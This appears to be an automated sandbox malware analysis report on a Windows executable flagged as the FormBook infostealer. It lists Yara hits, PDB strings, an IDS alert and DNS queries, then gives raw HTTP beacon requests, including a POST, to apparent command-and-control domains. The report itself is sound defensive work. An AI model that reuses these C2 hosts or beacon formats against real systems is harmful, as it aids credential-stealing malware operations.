Windows Analysis Report
GJRX21GBj3.exe

AI detected suspicious sample

Source: Yara match	File source: 4.2.ngen.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ngen.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.3923813236.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2294296870.0000000005BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2293698389.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3924270486.0000000003150000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3925169217.0000000002C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3924150933.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3925057114.0000000002AF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2294356055.0000000005CE0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: GJRX21GBj3.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: findstr.pdbGCTL source: ngen.exe, 00000004.00000002.2293830420.00000000053F8000.00000004.00000020.00020000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000002.3924590936.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ngen.pdb source: findstr.exe, 00000007.00000002.3924355546.00000000031FE000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000003C7C000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000000.2360774678.00000000032FC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2627811818.00000000286EC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000000.2215505772.0000000000DFE000.00000002.00000001.01000000.00000005.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000000.2360491290.0000000000DFE000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: ngen.exe, 00000004.00000002.2293944288.0000000005850000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3925215501.0000000003650000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2296210633.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2294244319.00000000032F7000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3925215501.00000000037EE000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: findstr.pdb source: ngen.exe, 00000004.00000002.2293830420.00000000053F8000.00000004.00000020.00020000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000006.00000002.3924590936.0000000000E48000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ngen.exe, ngen.exe, 00000004.00000002.2293944288.0000000005850000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, findstr.exe, 00000007.00000002.3925215501.0000000003650000.00000040.00001000.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2296210633.00000000034A1000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000003.2294244319.00000000032F7000.00000004.00000020.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3925215501.00000000037EE000.00000040.00001000.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\findstr.exe

Code function: 7_2_02E5BF10 FindFirstFileW,FindNextFileW,FindClose,

7_2_02E5BF10

Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rsi	0_2_00007FF658600980
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF658551988
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rsi	0_2_00007FF6586009D0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rdi	0_2_00007FF658600B00
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rsi	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rsi	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rdi	0_2_00007FF6585D2430
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push r14	0_2_00007FF65865E3C0
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rsi	0_2_00007FF6585D2740
Source: C:\Users\user\Desktop\GJRX21GBj3.exe	Code function: 4x nop then push rbx	0_2_00007FF658551988
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 4x nop then xor eax, eax	7_2_02E49830
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 4x nop then pop edi	7_2_02E524A9
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 4x nop then pop edi	7_2_02E52487
Source: C:\Windows\SysWOW64\findstr.exe	Code function: 4x nop then mov ebx, 00000004h	7_2_03490548

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.5:49711 -> 23.227.38.74:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.mg55aa.xyz

Source: Joe Sandbox View	IP Address: 43.155.26.241 43.155.26.241
Source: Joe Sandbox View	IP Address: 203.161.55.102 203.161.55.102
Source: Joe Sandbox View	IP Address: 108.179.193.98 108.179.193.98

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /c7rq/?k06T=httm3UUwH6NnwSQhbzeVca8kqE5bj6YPstl+OFvVeu4EU857dyc7w4+qhgXRMO7PTzi/X2HMMMtdNC+wv2+smLAouLcyIEijMeq9ccv2ntai0EWGFrkjFC0U/c7k/DTDLA==&rz=LZsl-bkp-XfXeRLp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.valerieomage.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Source: global traffic	HTTP traffic detected: GET /ktbm/?k06T=dCS0byWQIzTRzJnjmD3PHvju9v1sRk6AuoksZ/9OoI4xLWFKRKixtkjiz3Hv37r9oCCf0bTqtzy4xv37G1SgBfWJK+jN8eMH36uauFGPXBOtm3yBDVUMLLFQh/MQ7JKdaw==&rz=LZsl-bkp-XfXeRLp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.kosherphonestore.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Source: global traffic	HTTP traffic detected: GET /kwl6/?k06T=a60HvCvUhLiFhuUSc8WrKARCzXFsQAvffUZBz2uIU9nHYJX4NGLIPasF9EYqD4O1NmBy69LXG4mImYvzxGn1S/csb+glCs2OenUaXJQynPXKXRJsgC/umNodRP7idNP7JA==&rz=LZsl-bkp-XfXeRLp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.cwgehkk.storeConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Source: global traffic	HTTP traffic detected: GET /nml2/?k06T=HPoEs5HSsEYYnAW6PVozIACR+89TlHzFxT1N2ofTBBi/nJmbqmnSjRqVxPoNn0pwlxgNo3SmadBTH7enssKrgG8HFM9ue4Cv/jlK8Hwkml5mQyRFpKLBj5uVntz3S/FMqw==&rz=LZsl-bkp-XfXeRLp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mybodyradar.netConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Source: global traffic	HTTP traffic detected: GET /tb8p/?k06T=qOKUC29yX8oZAlbJDfcpCLzpMPZC9WFwxrZXgt1GanD4ODtcEeVG6I3ogONv/wZG3CcBcKt2BHXhpUQRSUiI6LSlbUKGOe5tpqy+YL001eRQtx2Jgk6C84cNpUHQ9eTwUQ==&rz=LZsl-bkp-XfXeRLp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.lacemalt.topConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Source: global traffic	HTTP traffic detected: GET /xti2/?k06T=QBz94yBRYCLuyG0lRWVoJ262XBKS6lrDLuuKlraC8+h4eo3ZkplyB9kY6zupybd5FXB5boaSfX9kd7InJ4l2/UGXXDPdESA3G681NsEYfip50N0NMaShmTLM2x7hQcZfKg==&rz=LZsl-bkp-XfXeRLp HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.siteblogoficialon.comConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53
Source: global traffic	HTTP traffic detected: GET /7npk/?rz=LZsl-bkp-XfXeRLp&k06T=3lhlChS8FYnXqyMl6DrMwk16pFUOD90SHj/DecBTIjGSaQxy34ZC87B+/wA+Ty9En/TQ2WIUU2NJwAlG0p0MOprHpEJhuLS8Xg3IfDdoqaVi1Ch1kdwH1TvR7mgJgyRVyQ== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mg55aa.xyzConnection: closeUser-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53

Source: global traffic	DNS traffic detected: DNS query: www.gospelstudygroup.org
Source: global traffic	DNS traffic detected: DNS query: www.valerieomage.com
Source: global traffic	DNS traffic detected: DNS query: www.instantmailer.cloud
Source: global traffic	DNS traffic detected: DNS query: www.kosherphonestore.com
Source: global traffic	DNS traffic detected: DNS query: www.cwgehkk.store
Source: global traffic	DNS traffic detected: DNS query: www.mybodyradar.net
Source: global traffic	DNS traffic detected: DNS query: www.lacemalt.top
Source: global traffic	DNS traffic detected: DNS query: www.siteblogoficialon.com
Source: global traffic	DNS traffic detected: DNS query: www.mcxright.com
Source: global traffic	DNS traffic detected: DNS query: www.amkmos.online
Source: global traffic	DNS traffic detected: DNS query: www.mg55aa.xyz
Source: global traffic	DNS traffic detected: DNS query: www.lavillitadepapa.com

Source: unknown

HTTP traffic detected: POST /ktbm/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brHost: www.kosherphonestore.comOrigin: http://www.kosherphonestore.comReferer: http://www.kosherphonestore.com/ktbm/Content-Length: 205Cache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53Data Raw: 6b 30 36 54 3d 51 41 36 55 59 46 54 2b 5a 68 62 66 72 4b 62 46 6b 42 69 59 64 75 50 6f 34 2f 56 7a 48 6b 75 55 69 70 77 63 53 37 4e 4c 77 70 55 6b 45 51 41 2f 52 34 4f 6d 31 58 44 61 33 43 33 73 7a 76 44 6b 76 6c 43 6f 78 62 33 64 6c 79 7a 77 32 6f 69 6d 4d 31 71 50 50 64 32 65 48 63 2f 4f 31 66 77 74 77 61 6d 2f 67 52 71 7a 52 56 48 31 34 6d 4f 56 4f 6c 68 46 45 49 52 47 68 65 68 77 6b 38 4c 6d 4f 76 7a 70 78 38 4f 52 5a 58 41 69 35 50 4d 77 45 52 30 49 63 68 6c 71 30 50 41 6f 4e 50 76 2b 4d 34 31 46 52 5a 78 33 34 50 55 2b 57 46 78 43 7a 47 70 31 78 73 30 5a 52 59 59 50 30 4b 4e 4c 6a 36 4f 64 33 6b 59 3d Data Ascii: k06T=QA6UYFT+ZhbfrKbFkBiYduPo4/VzHkuUipwcS7NLwpUkEQA/R4Om1XDa3C3szvDkvlCoxb3dlyzw2oimM1qPPd2eHc/O1fwtwam/gRqzRVH14mOVOlhFEIRGhehwk8LmOvzpx8ORZXAi5PMwER0Ichlq0PAoNPv+M41FRZx34PU+WFxCzGp1xs0ZRYYP0KNLj6Od3kY=

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 14:40:57 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 14:41:00 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 14:41:02 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 03 Jul 2024 14:41:05 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925169217.0000000002CE1000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.lavillitadepapa.com
Source: pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925169217.0000000002CE1000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.lavillitadepapa.com/i1fz/
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: GJRX21GBj3.exe	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: GJRX21GBj3.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: GJRX21GBj3.exe, 00000000.00000002.2087349436.00007FF658669000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: GJRX21GBj3.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: GJRX21GBj3.exe	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: findstr.exe, 00000007.00000003.2523816914.0000000008057000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js
Source: findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js
Source: findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js
Source: findstr.exe, 00000007.00000002.3927738841.0000000006600000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000007.00000002.3926054651.0000000005018000.00000004.10000000.00040000.00000000.sdmp, pMYZJWoDTJXnmaTJMCEeAnzIbNV.exe, 00000008.00000002.3925534375.0000000004698000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://hm.baidu.com/hm.js?
